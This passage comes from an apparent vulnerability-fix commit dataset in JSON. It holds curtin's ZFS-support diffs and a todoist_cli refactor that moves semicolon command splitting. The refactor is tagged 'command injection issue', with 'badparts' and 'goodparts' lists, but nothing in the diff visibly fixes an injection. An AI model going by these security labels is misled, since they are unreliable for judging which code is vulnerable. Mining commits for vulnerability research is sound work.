(list, tuple)):\n base_paths = [base_paths]\n\n # get current holders and plan how to shut them down\n holder_trees = [gen_holders_tree(path) for path in base_paths]\n LOG.info('Current device storage tree:\\n%s',\n '\\n'.join(format_holders_tree(tree) for tree in holder_trees))\n ordered_devs = plan_shutdown_holder_trees(holder_trees)\n\n # run shutdown functions\n for dev_info in ordered_devs:\n dev_type = DEV_TYPES.get(dev_info['dev_type'])\n shutdown_function = dev_type.get('shutdown')\n if not shutdown_function:\n continue\n if try_preserve and shutdown_function in DATA_DESTROYING_HANDLERS:\n LOG.info('shutdown function for holder type: %s is destructive. '\n 'attempting to preserve data, so not skipping' %\n dev_info['dev_type'])\n continue\n LOG.info(\"shutdown running on holder type: '%s' syspath: '%s'\",\n dev_info['dev_type'], dev_info['device'])\n shutdown_function(dev_info['device'])\n udev.udevadm_settle()\n\n\ndef start_clear_holders_deps():\n \"\"\"\n prepare system for clear holders to be able to scan old devices\n \"\"\"\n # a mdadm scan has to be started in case there is a md device that needs to\n # be detected. if the scan fails, it is either because there are no mdadm\n # devices on the system, or because there is a mdadm device in a damaged\n # state that could not be started. due to the nature of mdadm tools, it is\n # difficult to know which is the case. if any errors did occur, then ignore\n # them, since no action needs to be taken if there were no mdadm devices on\n # the system, and in the case where there is some mdadm metadata on a disk,\n # but there was not enough to start the array, the call to wipe_volume on\n # all disks and partitions should be sufficient to remove the mdadm\n # metadata\n mdadm.mdadm_assemble(scan=True, ignore_errors=True)\n # the bcache module needs to be present to properly detect bcache devs\n # on some systems (precise without hwe kernel) it may not be possible to\n # lad the bcache module bcause it is not present in the kernel. if this\n # happens then there is no need to halt installation, as the bcache devices\n # will never appear and will never prevent the disk from being reformatted\n util.subp(['modprobe', 'bcache'], rcs=[0, 1])\n\n\n# anything that is not identified can assumed to be a 'disk' or similar\nDEFAULT_DEV_TYPE = 'disk'\n# handlers that should not be run if an attempt is being made to preserve data\nDATA_DESTROYING_HANDLERS = [wipe_superblock]\n# types of devices that could be encountered by clear holders and functions to\n# identify them and shut them down\nDEV_TYPES = _define_handlers_registry()\n\n# vi: ts=4 expandtab syntax=python\n"}, "/curtin/commands/block_meta.py": {"changes": [{"diff": "\n \n from collections import OrderedDict\n from curtin import (block, config, util)\n-from curtin.block import (mdadm, mkfs, clear_holders, lvm, iscsi)\n+from curtin.block import (mdadm, mkfs, clear_holders, lvm, iscsi, zfs)\n from curtin.log import LOG\n from curtin.reporter import events\n \n", "add": 1, "remove": 1, "filename": "/curtin/commands/block_meta.py", "badparts": ["from curtin.block import (mdadm, mkfs, clear_holders, lvm, iscsi)"], "goodparts": ["from curtin.block import (mdadm, mkfs, clear_holders, lvm, iscsi, zfs)"]}, {"diff": "\n 'lvm_partition': lvm_partition_handler,\n 'dm_crypt': dm_crypt_handler,\n 'raid': raid_handler,\n- 'bcache': bcache_handler\n+ 'bcache': bcache_handler,\n+ 'zfs': zfs_handler,\n+ 'zpool': zpool_handler,\n }\n \n state = util.load_command_environmen", "add": 3, "remove": 1, "filename": "/curtin/commands/block_meta.py", "badparts": [" 'bcache': bcache_handler"], "goodparts": [" 'bcache': bcache_handler,", " 'zfs': zfs_handler,", " 'zpool': zpool_handler,"]}]}, "/curtin/deps/__init__.py": {"changes": [{"diff": "\n return mdeps\n \n \n+def check_kernel_modules(modules=None):\n+ if modules is None:\n+ modules = REQUIRED_KERNEL_MODULES\n+\n+ # if we're missing any modules, install the full\n+ # linux-image package for this environment\n+ for kmod in modules:\n+ try:\n+ subp(['modinfo', '--filename', kmod], capture=True)\n+ except ProcessExecutionError:\n+ kernel_pkg = 'linux-image-%s' % os.uname()[2]\n+ return [MissingDeps('missing kernel module %s' % kmod, kernel_pkg)]\n+\n+ return []\n+\n+\n def find_missing_deps():\n- return check_executables() + check_imports()\n+ return check_executables() + check_imports() + check_kernel_modules()\n \n \n def install_deps(verbosity=False, dry_run=False, allow_daemons=", "add": 17, "remove": 1, "filename": "/curtin/deps/__init__.py", "badparts": [" return check_executables() + check_imports()"], "goodparts": ["def check_kernel_modules(modules=None):", " if modules is None:", " modules = REQUIRED_KERNEL_MODULES", " for kmod in modules:", " try:", " subp(['modinfo', '--filename', kmod], capture=True)", " except ProcessExecutionError:", " kernel_pkg = 'linux-image-%s' % os.uname()[2]", " return [MissingDeps('missing kernel module %s' % kmod, kernel_pkg)]", " return []", " return check_executables() + check_imports() + check_kernel_modules()"]}], "source": "\n import os import sys from curtin.util import( ProcessExecutionError, get_architecture, install_packages, is_uefi_bootable, lsb_release, which, ) REQUIRED_IMPORTS=[ ('import yaml', 'python-yaml', 'python3-yaml'), ] REQUIRED_EXECUTABLES=[ ('file', 'file'), ('lvcreate', 'lvm2'), ('mdadm', 'mdadm'), ('mkfs.vfat', 'dosfstools'), ('mkfs.btrfs', 'btrfs-tools'), ('mkfs.ext4', 'e2fsprogs'), ('mkfs.xfs', 'xfsprogs'), ('partprobe', 'parted'), ('sgdisk', 'gdisk'), ('udevadm', 'udev'), ('make-bcache', 'bcache-tools'), ('iscsiadm', 'open-iscsi'), ] if lsb_release()['codename']==\"precise\": REQUIRED_IMPORTS.append( ('import oauth.oauth', 'python-oauth', None),) else: REQUIRED_IMPORTS.append( ('import oauthlib.oauth1', 'python-oauthlib', 'python3-oauthlib'),) if not is_uefi_bootable() and 'arm' in get_architecture(): REQUIRED_EXECUTABLES.append(('flash-kernel', 'flash-kernel')) class MissingDeps(Exception): def __init__(self, message, deps): self.message=message if isinstance(deps, str) or deps is None: deps=[deps] self.deps=[d for d in deps if d is not None] self.fatal=None in deps def __str__(self): if self.fatal: if not len(self.deps): return self.message +\" Unresolvable.\" return(self.message + \" Unresolvable. Partially resolvable with packages: %s\" % ' '.join(self.deps)) else: return self.message +\" Install packages: %s\" % ' '.join(self.deps) def check_import(imports, py2pkgs, py3pkgs, message=None): import_group=imports if isinstance(import_group, str): import_group=[import_group] for istr in import_group: try: exec(istr) return except ImportError: pass if not message: if isinstance(imports, str): message=\"Failed '%s'.\" % imports else: message=\"Unable to do any of %s.\" % import_group if sys.version_info[0]==2: pkgs=py2pkgs else: pkgs=py3pkgs raise MissingDeps(message, pkgs) def check_executable(cmdname, pkg): if not which(cmdname): raise MissingDeps(\"Missing program '%s'.\" % cmdname, pkg) def check_executables(executables=None): if executables is None: executables=REQUIRED_EXECUTABLES mdeps=[] for exe, pkg in executables: try: check_executable(exe, pkg) except MissingDeps as e: mdeps.append(e) return mdeps def check_imports(imports=None): if imports is None: imports=REQUIRED_IMPORTS mdeps=[] for import_str, py2pkg, py3pkg in imports: try: check_import(import_str, py2pkg, py3pkg) except MissingDeps as e: mdeps.append(e) return mdeps def find_missing_deps(): return check_executables() +check_imports() def install_deps(verbosity=False, dry_run=False, allow_daemons=True): errors=find_missing_deps() if len(errors)==0: if verbosity: sys.stderr.write(\"No missing dependencies\\n\") return 0 missing_pkgs=[] for e in errors: missing_pkgs +=e.deps deps_string=' '.join(sorted(missing_pkgs)) if dry_run: sys.stderr.write(\"Missing dependencies: %s\\n\" % deps_string) return 0 if os.geteuid() !=0: sys.stderr.write(\"Missing dependencies: %s\\n\" % deps_string) sys.stderr.write(\"Package installation is not possible as non-root.\\n\") return 2 if verbosity: sys.stderr.write(\"Installing %s\\n\" % deps_string) ret=0 try: install_packages(missing_pkgs, allow_daemons=allow_daemons, aptopts=[\"--no-install-recommends\"]) except ProcessExecutionError as e: sys.stderr.write(\"%s\\n\" % e) ret=e.exit_code return ret ", "sourceWithComments": "# This file is part of curtin. See LICENSE file for copyright and license info.\n\nimport os\nimport sys\n\nfrom curtin.util import (\n ProcessExecutionError,\n get_architecture,\n install_packages,\n is_uefi_bootable,\n lsb_release,\n which,\n)\n\nREQUIRED_IMPORTS = [\n # import string to execute, python2 package, python3 package\n ('import yaml', 'python-yaml', 'python3-yaml'),\n]\n\nREQUIRED_EXECUTABLES = [\n # executable in PATH, package\n ('file', 'file'),\n ('lvcreate', 'lvm2'),\n ('mdadm', 'mdadm'),\n ('mkfs.vfat', 'dosfstools'),\n ('mkfs.btrfs', 'btrfs-tools'),\n ('mkfs.ext4', 'e2fsprogs'),\n ('mkfs.xfs', 'xfsprogs'),\n ('partprobe', 'parted'),\n ('sgdisk', 'gdisk'),\n ('udevadm', 'udev'),\n ('make-bcache', 'bcache-tools'),\n ('iscsiadm', 'open-iscsi'),\n]\n\nif lsb_release()['codename'] == \"precise\":\n REQUIRED_IMPORTS.append(\n ('import oauth.oauth', 'python-oauth', None),)\nelse:\n REQUIRED_IMPORTS.append(\n ('import oauthlib.oauth1', 'python-oauthlib', 'python3-oauthlib'),)\n\nif not is_uefi_bootable() and 'arm' in get_architecture():\n REQUIRED_EXECUTABLES.append(('flash-kernel', 'flash-kernel'))\n\n\nclass MissingDeps(Exception):\n def __init__(self, message, deps):\n self.message = message\n if isinstance(deps, str) or deps is None:\n deps = [deps]\n self.deps = [d for d in deps if d is not None]\n self.fatal = None in deps\n\n def __str__(self):\n if self.fatal:\n if not len(self.deps):\n return self.message + \" Unresolvable.\"\n return (self.message +\n \" Unresolvable. Partially resolvable with packages: %s\" %\n ' '.join(self.deps))\n else:\n return self.message + \" Install packages: %s\" % ' '.join(self.deps)\n\n\ndef check_import(imports, py2pkgs, py3pkgs, message=None):\n import_group = imports\n if isinstance(import_group, str):\n import_group = [import_group]\n\n for istr in import_group:\n try:\n exec(istr)\n return\n except ImportError:\n pass\n\n if not message:\n if isinstance(imports, str):\n message = \"Failed '%s'.\" % imports\n else:\n message = \"Unable to do any of %s.\" % import_group\n\n if sys.version_info[0] == 2:\n pkgs = py2pkgs\n else:\n pkgs = py3pkgs\n\n raise MissingDeps(message, pkgs)\n\n\ndef check_executable(cmdname, pkg):\n if not which(cmdname):\n raise MissingDeps(\"Missing program '%s'.\" % cmdname, pkg)\n\n\ndef check_executables(executables=None):\n if executables is None:\n executables = REQUIRED_EXECUTABLES\n mdeps = []\n for exe, pkg in executables:\n try:\n check_executable(exe, pkg)\n except MissingDeps as e:\n mdeps.append(e)\n return mdeps\n\n\ndef check_imports(imports=None):\n if imports is None:\n imports = REQUIRED_IMPORTS\n\n mdeps = []\n for import_str, py2pkg, py3pkg in imports:\n try:\n check_import(import_str, py2pkg, py3pkg)\n except MissingDeps as e:\n mdeps.append(e)\n return mdeps\n\n\ndef find_missing_deps():\n return check_executables() + check_imports()\n\n\ndef install_deps(verbosity=False, dry_run=False, allow_daemons=True):\n errors = find_missing_deps()\n if len(errors) == 0:\n if verbosity:\n sys.stderr.write(\"No missing dependencies\\n\")\n return 0\n\n missing_pkgs = []\n for e in errors:\n missing_pkgs += e.deps\n\n deps_string = ' '.join(sorted(missing_pkgs))\n\n if dry_run:\n sys.stderr.write(\"Missing dependencies: %s\\n\" % deps_string)\n return 0\n\n if os.geteuid() != 0:\n sys.stderr.write(\"Missing dependencies: %s\\n\" % deps_string)\n sys.stderr.write(\"Package installation is not possible as non-root.\\n\")\n return 2\n\n if verbosity:\n sys.stderr.write(\"Installing %s\\n\" % deps_string)\n\n ret = 0\n try:\n install_packages(missing_pkgs, allow_daemons=allow_daemons,\n aptopts=[\"--no-install-recommends\"])\n except ProcessExecutionError as e:\n sys.stderr.write(\"%s\\n\" % e)\n ret = e.exit_code\n\n return ret\n\n# vi: ts=4 expandtab syntax=python\n"}}, "msg": "Add zpool, zfs storage commands for experimental support of ZFS on root.\n\ncurtin/block\n - Add get_dev_disk_byid() to return a mapping of devname to disk/by-id\n - Add zfs and zpool to install deps dictionary\n\ncurtin/block/clear_holders\n - Add modprobe zfs\n\ncurtin/block/zfs\n - implement zpool_create, zfs_create, zfs_list, zfs_export and zfs_mount\n commands\n\ncurtin/dep\n - Add zfs, zfsutils-linux to ephemeral environment as needed\n - Introduce a check for required kernel modules (zfs)\n\ncurtin/commands/block_meta\n - implement handlers for type: zpool and zfs\n - add get_poolname resolver\n\ncurtin/commands/curthooks\n - On xenial, apt-mark hold zfs-dkms in target to prevent installation\n to work around bug 1742560.\n - Add an injection of a zfs environment variable required for ZFS on\n rootfs to work with grub; allows grub to extract the path to the zfs\n vdevs full path rather than just the devname (/dev/disk/by-id/foo vs\n disk/by-id/foo) to work around bug 1527727.\n\ncurtin/commands/install\n - Export ZPOOL_VDEV_NAME_PATH=1 into target environment to allow grub to\n work with zfs on root\n\ndoc/topics/storage.rst\n - Add documentation for zpool, zfs commands and experimental ZFS-on-Root\n\nhelpers/common\n - Update install_grub to skip block-device check if target is zfs.\n\ntests/unittests/test_block\n - Add test for disk_byid methods\n\ntests/unittests/test_block_zfs\n - Add coverage for block.zfs\n\ntests/unittests/test_clear_holders\n - Update test to account for modprobe zfs\n\ntests/vmtests/test_zfsroot\n - Add initial zfsroot install and test"}}, "https://github.com/Utagai/todoist_cli": {"34813092d479c9a38260f496b5b3f1b45e5d6eb9": {"url": "https://api.github.com/repos/Utagai/todoist_cli/commits/34813092d479c9a38260f496b5b3f1b45e5d6eb9", "html_url": "https://github.com/Utagai/todoist_cli/commit/34813092d479c9a38260f496b5b3f1b45e5d6eb9", "sha": "34813092d479c9a38260f496b5b3f1b45e5d6eb9", "keyword": "command injection issue", "diff": "diff --git a/todo/cli.py b/todo/cli.py\nindex 1d2ad43..3966192 100644\n--- a/todo/cli.py\n+++ b/todo/cli.py\n@@ -146,35 +146,3 @@ def do_exit(self, args):\n \"\"\"\n prnt(\"Bye\", VIOLET)\n exit(0)\n-\n- def precmd(self, line):\n- cmds = self._decompose(line)\n- if len(cmds) > 1:\n- self.cmdqueue.extend(cmds[1:])\n- return cmds[0]\n-\n- def _decompose(self, line):\n- breakpoints = self._find_breakpoints(line)\n- inclusive_breakpoints = [0] + breakpoints + [len(line)]\n- cmds = []\n- for i in range(len(breakpoints) + 1):\n- start = inclusive_breakpoints[i]\n- end = inclusive_breakpoints[i+1]\n- cmd = line[start:end]\n- if cmd and cmd[0] == ';': # The first cmd fails this check\n- cmd = cmd[1:]\n- if cmd: # Catch empty cmds from dud-EOL-semicolons\n- cmds.append(cmd.strip())\n- return cmds\n-\n- def _find_breakpoints(self, line):\n- breakpoints = []\n- in_quote = False\n- for i, ch in enumerate(line):\n- if ch in [\"\\\"\", \"'\"]:\n- in_quote = not in_quote\n- if ch == ';' and not in_quote:\n- breakpoints.append(i)\n- if ch == '#' and not in_quote:\n- break # This is comment territory, ignore everything.\n- return breakpoints\ndiff --git a/todo/cli_helpers.py b/todo/cli_helpers.py\nindex 343206e..e034f4e 100644\n--- a/todo/cli_helpers.py\n+++ b/todo/cli_helpers.py\n@@ -13,7 +13,10 @@ class CmdError(Exception):\n def command(func):\n @wraps(func)\n def cmd_trycatch(self, arg):\n- args = shlex.split(arg, comments=True)\n+ cmds = _decompose(arg)\n+ if len(cmds) > 1:\n+ self.cmdqueue.extend(cmds[1:])\n+ args = shlex.split(cmds[0] if cmds else arg, comments=True)\n try:\n func(self, args)\n except CmdError as e:\n@@ -24,6 +27,33 @@ def cmd_trycatch(self, arg):\n return cmd_trycatch\n \n \n+def _decompose(line):\n+ breakpoints = _find_breakpoints(line)\n+ inclusive_breakpoints = [0] + breakpoints + [len(line)]\n+ cmds = []\n+ for i in range(len(breakpoints) + 1):\n+ start = inclusive_breakpoints[i]\n+ end = inclusive_breakpoints[i+1]\n+ cmd = line[start:end]\n+ if cmd and cmd[0] == ';': # The first cmd fails this check\n+ cmd = cmd[1:]\n+ cmds.append(cmd.strip())\n+ return cmds\n+\n+\n+def _find_breakpoints(line):\n+ breakpoints = []\n+ in_quote = False\n+ for i, ch in enumerate(line):\n+ if ch in [\"\\\"\", \"'\"]:\n+ in_quote = not in_quote\n+ if ch == ';' and not in_quote:\n+ breakpoints.append(i)\n+ if ch == '#' and not in_quote:\n+ break # This is comment territory, ignore everything.\n+ return breakpoints\n+\n+\n def state(func):\n @wraps(func)\n def set_state(self, args):\n", "message": "", "files": {"/todo/cli.py": {"changes": [{"diff": "\n \"\"\"\n prnt(\"Bye\", VIOLET)\n exit(0)\n-\n- def precmd(self, line):\n- cmds = self._decompose(line)\n- if len(cmds) > 1:\n- self.cmdqueue.extend(cmds[1:])\n- return cmds[0]\n-\n- def _decompose(self, line):\n- breakpoints = self._find_breakpoints(line)\n- inclusive_breakpoints = [0] + breakpoints + [len(line)]\n- cmds = []\n- for i in range(len(breakpoints) + 1):\n- start = inclusive_breakpoints[i]\n- end = inclusive_breakpoints[i+1]\n- cmd = line[start:end]\n- if cmd and cmd[0] == ';': # The first cmd fails this check\n- cmd = cmd[1:]\n- if cmd: # Catch empty cmds from dud-EOL-semicolons\n- cmds.append(cmd.strip())\n- return cmds\n-\n- def _find_breakpoints(self, line):\n- breakpoints = []\n- in_quote = False\n- for i, ch in enumerate(line):\n- if ch in [\"\\\"\", \"'\"]:\n- in_quote = not in_quote\n- if ch == ';' and not in_quote:\n- breakpoints.append(i)\n- if ch == '#' and not in_quote:\n- break # This is comment territory, ignore everything.\n- return breakpoints", "add": 0, "remove": 32, "filename": "/todo/cli.py", "badparts": [" def precmd(self, line):", " cmds = self._decompose(line)", " if len(cmds) > 1:", " self.cmdqueue.extend(cmds[1:])", " return cmds[0]", " def _decompose(self, line):", " breakpoints = self._find_breakpoints(line)", " inclusive_breakpoints = [0] + breakpoints + [len(line)]", " cmds = []", " for i in range(len(breakpoints) + 1):", " start = inclusive_breakpoints[i]", " end = inclusive_breakpoints[i+1]", " cmd = line[start:end]", " if cmd and cmd[0] == ';': # The first cmd fails this check", " cmd = cmd[1:]", " if cmd: # Catch empty cmds from dud-EOL-semicolons", " cmds.append(cmd.strip())", " return cmds", " def _find_breakpoints(self, line):", " breakpoints = []", " in_quote = False", " for i, ch in enumerate(line):", " if ch in [\"\\\"\", \"'\"]:", " in_quote = not in_quote", " if ch == ';' and not in_quote:", " breakpoints.append(i)", " if ch == '#' and not in_quote:", " break # This is comment territory, ignore everything.", " return breakpoints"], "goodparts": []}], "source": "\nfrom cmd import Cmd import wrapper from objects import Project from color import prnt, prnt_str, VIOLET, PURPLE, ORANGE, TURQ, BLUE from cli_helpers import arglen, inject, state, emptystate, restrict, command from cli_helpers import CmdError import cli_helpers as cli from state import CLIState class TodoistCLI(Cmd): def __init__(self, conf): super().__init__() self.state=CLIState() self.conf=conf @command @arglen(0) @state def do_projects(self, args): \"\"\" Retrieves a listing of all project names and their ids. Takes no arguments. \"\"\" projects=wrapper.todoist.get_projects() cli.print_listing(projects, 0) return projects @command @arglen(0, 1) @inject @state def do_tasks(self, args): \"\"\" Retrieves a listing of all tasks for the currently active project, if available. If there is no currently active project, simply lists all tasks across all projects. Takes an optional project name or id, only listing the tasks of the given project. \"\"\" project_id=None if self.state.active_project: project_id=self.state.active_project.obj_id elif args: project_id=args[0] pos=0 if project_id: project=Project(project_id) prnt('<', project, '>', VIOLET, None, VIOLET) pos=cli.print_listing(project, pos) return project.tasks else: projects=wrapper.todoist.get_projects() tasks=[] for project in projects: prnt('<', project, '>', VIOLET, None, VIOLET) pos=cli.print_listing(project, pos) tasks.extend(project.tasks) return tasks @command @arglen(2) @inject @restrict(['create', 'complete']) @emptystate def do_task(self, args): \"\"\" Performs task operations. Takes the arguments(operations): 1: create -Creates a task with the given name in the currently selected project. 2: complete -Sets the task with the given id as completed. \"\"\" sub_cmd=args[0] if sub_cmd=='create': if self.state.active_project is None: raise CmdError(\"No active project. Use the select command\") proj_id=self.state.active_project.obj_id wrapper.todoist.create_task(args[1], proj_id) elif sub_cmd=='complete': wrapper.todoist.complete_task(args[1]) self.do_tasks(str(self.state.active_project.obj_id)) @command @arglen(1) @inject def do_select(self, args): \"\"\" Sets the project with the given id as the currently selected project. All commands that implicitly act on a project with use this selected project. An example is task create. \"\"\" try: self.state.set_project(int(args[0])) self.prompt=prnt_str( '~', '(', self.state.active_project.name, ')', '>', ' ', PURPLE, TURQ, PURPLE, TURQ, BLUE, ORANGE ) except(ValueError, CmdError): raise CmdError(\"Argument must be a valid project\") @command @arglen(2) @inject @restrict(['create', 'complete', 'clear', 'delete']) @emptystate def do_project(self, args): \"\"\" Performs project operations. Takes the arguments(operations): 1: create -Creates a project with the given name. 2: complete -Sets all constituent tasks in the project with given id as completed. 3: clear -Delete all tasks in the project with the given id. 4: delete -Delete the project. \"\"\" sub_cmd=args[0] if sub_cmd=='create': wrapper.todoist.create_project(args[1]) elif sub_cmd=='complete': wrapper.todoist.complete_project(args[1]) elif sub_cmd=='clear': wrapper.todoist.clear_project(args[1]) elif sub_cmd=='delete': wrapper.todoist.delete_project(args[1]) @command @arglen(0) @emptystate def do_exit(self, args): \"\"\" Exits the CLI application. \"\"\" prnt(\"Bye\", VIOLET) exit(0) def precmd(self, line): cmds=self._decompose(line) if len(cmds) > 1: self.cmdqueue.extend(cmds[1:]) return cmds[0] def _decompose(self, line): breakpoints=self._find_breakpoints(line) inclusive_breakpoints=[0] +breakpoints +[len(line)] cmds=[] for i in range(len(breakpoints) +1): start=inclusive_breakpoints[i] end=inclusive_breakpoints[i+1] cmd=line[start:end] if cmd and cmd[0]==';': cmd=cmd[1:] if cmd: cmds.append(cmd.strip()) return cmds def _find_breakpoints(self, line): breakpoints=[] in_quote=False for i, ch in enumerate(line): if ch in[\"\\\"\", \"'\"]: in_quote=not in_quote if ch==';' and not in_quote: breakpoints.append(i) if ch==' break return breakpoints ", "sourceWithComments": "from cmd import Cmd\n\nimport wrapper\nfrom objects import Project\nfrom color import prnt, prnt_str, VIOLET, PURPLE, ORANGE, TURQ, BLUE\nfrom cli_helpers import arglen, inject, state, emptystate, restrict, command\nfrom cli_helpers import CmdError\nimport cli_helpers as cli\nfrom state import CLIState\n\n\nclass TodoistCLI(Cmd):\n\n def __init__(self, conf):\n super().__init__()\n self.state = CLIState()\n self.conf = conf\n\n @command\n @arglen(0)\n @state\n def do_projects(self, args):\n \"\"\"\n Retrieves a listing of all project names and their ids.\n\n Takes no arguments.\n \"\"\"\n projects = wrapper.todoist.get_projects()\n cli.print_listing(projects, 0)\n return projects\n\n @command\n @arglen(0, 1)\n @inject\n @state\n def do_tasks(self, args):\n \"\"\"\n Retrieves a listing of all tasks for the currently active project, if\n available. If there is no currently active project, simply lists all\n tasks across all projects.\n\n Takes an optional project name or id, only listing the tasks of the\n given project.\n \"\"\"\n project_id = None\n if self.state.active_project:\n project_id = self.state.active_project.obj_id\n elif args:\n project_id = args[0]\n\n pos = 0\n if project_id:\n project = Project(project_id)\n prnt('<', project, '>', VIOLET, None, VIOLET)\n pos = cli.print_listing(project, pos)\n return project.tasks\n else:\n projects = wrapper.todoist.get_projects()\n tasks = []\n for project in projects:\n prnt('<', project, '>', VIOLET, None, VIOLET)\n pos = cli.print_listing(project, pos)\n tasks.extend(project.tasks)\n return tasks\n\n @command\n @arglen(2)\n @inject\n @restrict(['create', 'complete'])\n @emptystate\n def do_task(self, args):\n \"\"\"\n Performs task operations.\n\n Takes the arguments (operations):\n 1: create - Creates a task with the given name in the\n currently selected project.\n 2: complete - Sets the task with the given id as completed.\n \"\"\"\n sub_cmd = args[0]\n if sub_cmd == 'create':\n if self.state.active_project is None:\n raise CmdError(\"No active project. Use the select command\")\n proj_id = self.state.active_project.obj_id\n wrapper.todoist.create_task(args[1], proj_id)\n elif sub_cmd == 'complete':\n wrapper.todoist.complete_task(args[1])\n\n self.do_tasks(str(self.state.active_project.obj_id))\n\n @command\n @arglen(1)\n @inject\n def do_select(self, args):\n \"\"\"\n Sets the project with the given id as the currently selected project.\n\n All commands that implicitly act on a project with use this selected\n project. An example is task create.\n \"\"\"\n try:\n self.state.set_project(int(args[0]))\n self.prompt = prnt_str(\n '~',\n '(', self.state.active_project.name, ')',\n '>',\n ' ',\n PURPLE, TURQ, PURPLE, TURQ, BLUE, ORANGE\n )\n except (ValueError, CmdError):\n raise CmdError(\"Argument must be a valid project\")\n\n @command\n @arglen(2)\n @inject\n @restrict(['create', 'complete', 'clear', 'delete'])\n @emptystate\n def do_project(self, args):\n \"\"\"\n Performs project operations.\n\n Takes the arguments (operations):\n 1: create - Creates a project with the given name.\n 2: complete - Sets all constituent tasks in the project with\n given id as completed.\n 3: clear - Delete all tasks in the project with the\n given id.\n 4: delete - Delete the project.\n \"\"\"\n sub_cmd = args[0]\n if sub_cmd == 'create':\n wrapper.todoist.create_project(args[1])\n elif sub_cmd == 'complete':\n wrapper.todoist.complete_project(args[1])\n elif sub_cmd == 'clear':\n wrapper.todoist.clear_project(args[1])\n elif sub_cmd == 'delete':\n wrapper.todoist.delete_project(args[1])\n\n @command\n @arglen(0)\n @emptystate\n def do_exit(self, args):\n \"\"\"\n Exits the CLI application.\n \"\"\"\n prnt(\"Bye\", VIOLET)\n exit(0)\n\n def precmd(self, line):\n cmds = self._decompose(line)\n if len(cmds) > 1:\n self.cmdqueue.extend(cmds[1:])\n return cmds[0]\n\n def _decompose(self, line):\n breakpoints = self._find_breakpoints(line)\n inclusive_breakpoints = [0] + breakpoints + [len(line)]\n cmds = []\n for i in range(len(breakpoints) + 1):\n start = inclusive_breakpoints[i]\n end = inclusive_breakpoints[i+1]\n cmd = line[start:end]\n if cmd and cmd[0] == ';': # The first cmd fails this check\n cmd = cmd[1:]\n if cmd: # Catch empty cmds from dud-EOL-semicolons\n cmds.append(cmd.strip())\n return cmds\n\n def _find_breakpoints(self, line):\n breakpoints = []\n in_quote = False\n for i, ch in enumerate(line):\n if ch in [\"\\\"\", \"'\"]:\n in_quote = not in_quote\n if ch == ';' and not in_quote:\n breakpoints.append(i)\n if ch == '#' and not in_quote:\n break # This is comment territory, ignore everything.\n return breakpoints\n"}, "/todo/cli_helpers.py": {"changes": [{"diff": "\n def command(func):\n @wraps(func)\n def cmd_trycatch(self, arg):\n- args = shlex.split(arg, comments=True)\n+ cmds = _decompose(arg)\n+ if len(cmds) > 1:\n+ self.cmdqueue.extend(cmds[1:])\n+ args = shlex.split(cmds[0] if cmds else arg, comments=True)\n try:\n func(self, args)\n except CmdError as e:\n", "add": 4, "remove": 1, "filename": "/todo/cli_helpers.py", "badparts": [" args = shlex.split(arg, comments=True)"], "goodparts": [" cmds = _decompose(arg)", " if len(cmds) > 1:", " self.cmdqueue.extend(cmds[1:])", " args = shlex.split(cmds[0] if cmds else arg, comments=True)"]}], "source": "\nimport re import readline from functools import wraps import shlex from color import prnt, VIOLET, RED class CmdError(Exception): pass def command(func): @wraps(func) def cmd_trycatch(self, arg): args=shlex.split(arg, comments=True) try: func(self, args) except CmdError as e: prnt(\"Error:{}.\".format(str(e)), RED) prnt(\"Command details:\", RED) prnt(\"\\tCommand:\\n\\t\\t->\\\"{}\\\"\".format(pure_cmd_name(func)), RED) prnt(\"\\tArgument string:\\n\\t\\t->\\\"{}\\\"\".format(arg), RED) return cmd_trycatch def state(func): @wraps(func) def set_state(self, args): self.state.set_state(func(self, args)) return set_state def emptystate(func): @wraps(func) def set_state(self, args): self.state.clear_state() func(self, args) return set_state class arglen: def __init__(self, min, max=None): self.min=min if not max: self.max=self.min else: self.max=max def __call__(self, func): @wraps(func) def arglen_check(func_self, args): if self.min <=len(args) and len(args) <=self.max: return func(func_self, args) else: raise CmdError( \"The '{}' command takes between[{},{}] args\" .format( func.__name__.split('_')[1], self.min, self.max ) ) return arglen_check def _get_pat_and_hint(arg): inject_base_pat='%{}:[\"]?({})[\"]?' hint_base='%{}' if '%p:' in arg: pat=inject_base_pat.format('p', '\\d+') hint=hint_base.format('p') elif '%s:' in arg: pat=inject_base_pat.format('s', '.+') hint=hint_base.format('s') elif '%:' in arg: pat=inject_base_pat.format('', '.+') hint=hint_base.format('') elif '%c:' in arg: pat=inject_base_pat.format('c', '') hint=hint_base.format('c') elif '%cp:' in arg: pat=inject_base_pat.format('cp', '\\d+') hint=hint_base.format('cp') else: pat, hint=None, None return pat, hint def _inject_id(self, args, i, pat, hint): res=re.compile(pat).search(args[i]) if not res: raise CmdError(\"Invalid substitution argument\") val=res.group(1) inject_id=str(self.state.fetch(val, hint=hint).obj_id) args[i]=re.sub(pat, inject_id, args[i]) def inject(func): @wraps(func) def inject_arg(self, args): for i in range(len(args)): arg=args[i] pat, hint=_get_pat_and_hint(arg) if not pat and not hint: continue _inject_id(self, args, i, pat, hint) func(self, args) return inject_arg class restrict: def __init__(self, subcmds): self.subcmds=subcmds def __call__(self, func): @wraps(func) def restrict_subcmds(func_self, args): if args[0] in self.subcmds: func(func_self, args) else: err_msg=\"Sub command must be one of:{}\".format(self.subcmds) raise CmdError(err_msg) return restrict_subcmds def readline_inject(args): history_len=readline.get_current_history_length() last_item=readline.get_history_item(history_len) cmd=' '.join([last_item.split()[0]] +args) readline.replace_history_item(history_len-1, cmd) def print_listing(items, pos): for offset, item in enumerate(items): prnt(pos+offset, '. ', item, VIOLET, None, None) return pos +len(items) def pure_cmd_name(cmd_func): return cmd_func.__name__[len('do_'):] ", "sourceWithComments": "import re\nimport readline\nfrom functools import wraps\nimport shlex\n\nfrom color import prnt, VIOLET, RED\n\n\nclass CmdError(Exception):\n pass\n\n\ndef command(func):\n @wraps(func)\n def cmd_trycatch(self, arg):\n args = shlex.split(arg, comments=True)\n try:\n func(self, args)\n except CmdError as e:\n prnt(\"Error: {}.\".format(str(e)), RED)\n prnt(\"Command details:\", RED)\n prnt(\"\\tCommand:\\n\\t\\t->\\\"{}\\\"\".format(pure_cmd_name(func)), RED)\n prnt(\"\\tArgument string:\\n\\t\\t->\\\"{}\\\"\".format(arg), RED)\n return cmd_trycatch\n\n\ndef state(func):\n @wraps(func)\n def set_state(self, args):\n self.state.set_state(func(self, args))\n\n return set_state\n\n\ndef emptystate(func):\n @wraps(func)\n def set_state(self, args):\n self.state.clear_state()\n func(self, args)\n\n return set_state\n\n\nclass arglen:\n def __init__(self, min, max=None):\n self.min = min\n if not max:\n self.max = self.min\n else:\n self.max = max\n\n def 